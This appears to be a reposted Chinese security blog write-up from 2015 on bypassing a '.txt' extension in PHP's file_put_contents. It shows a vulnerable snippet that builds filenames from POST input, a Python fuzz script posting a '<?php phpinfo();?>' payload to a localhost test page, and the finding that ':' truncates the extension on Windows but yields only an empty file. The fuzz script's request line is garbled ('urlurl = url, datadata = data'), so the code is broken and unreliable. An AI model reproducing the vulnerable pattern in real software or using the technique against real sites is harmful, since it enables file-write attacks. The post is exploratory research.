热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全

PHP file_put_content函数写文件鸡肋绕过

发布时间:2015-10-23 14:33文章来源:wooyun文章作者:range 点击次数:
摘要:昨天遇到个站,非常奇葩,把客户的评论写到文件里面,而且开了报错。...

 昨天遇到个站,非常奇葩,把客户的评论写到文件里面,而且开了报错。所以就很容易地看出了那个文件的源码,大概是这样的:

  1. <?php 
  2.  $name1 = $_POST['filename1'];  
  3. $name2 = $_POST['filename2'];  
  4. $val = $_POST['val'];  
  5. file_put_contents('./company_list/'.$name2.'-'.$name1.'.txt', $val);  
  6. ?> 

所以,我就想,能不能把那个.txt截断,然后先后在本地搭建了Windows环境和centos环境。

这是fuzz脚本:


  1. import requests 
  2.   
  3. for i in range(256): 
  4.     url = 'http://localhost/test/1.php' 
  5.     data = {'filename1':'1.php%s' % chr(i+1),'filename2':'2','val':'<?php phpinfo();?>'} 
  6.     a = requests.post(urlurl = url, datadata = data) 
win下的结果:

发现在windows下可以使用“:”截断后面的.txt,让上传的文件变成了.php,原因是windows不允许”:”等一些特殊符号存在于文件名中,在linux中则可以存在。

之所以说鸡肋,是因为这样并没有什么卵用,只是上传了个php文件而已,file_put_content函数相当于是fopen,fwrite,fclose的打包函数,但是由于并不存在”2-1.php:.txt”文件,尽管fopen函数写了个文件名到文件夹里,不过fwrite函数无法将内容写入该文件中,因此该文件只能是空文件。

会不会覆盖其他文件呢?我试了一下,对原文件内容似乎也没有影响,我的notepad++还是提示该文件已更改,是否reload,reload以后,发现内容并没有改变。

本文只是为了抛砖引玉,看看大牛们有没有其他的奇淫思路。

标签分类: file_put_con php函数

上一篇:绕过WAF继续SQL注入常用方法
下一篇:Docker在渗透中的应用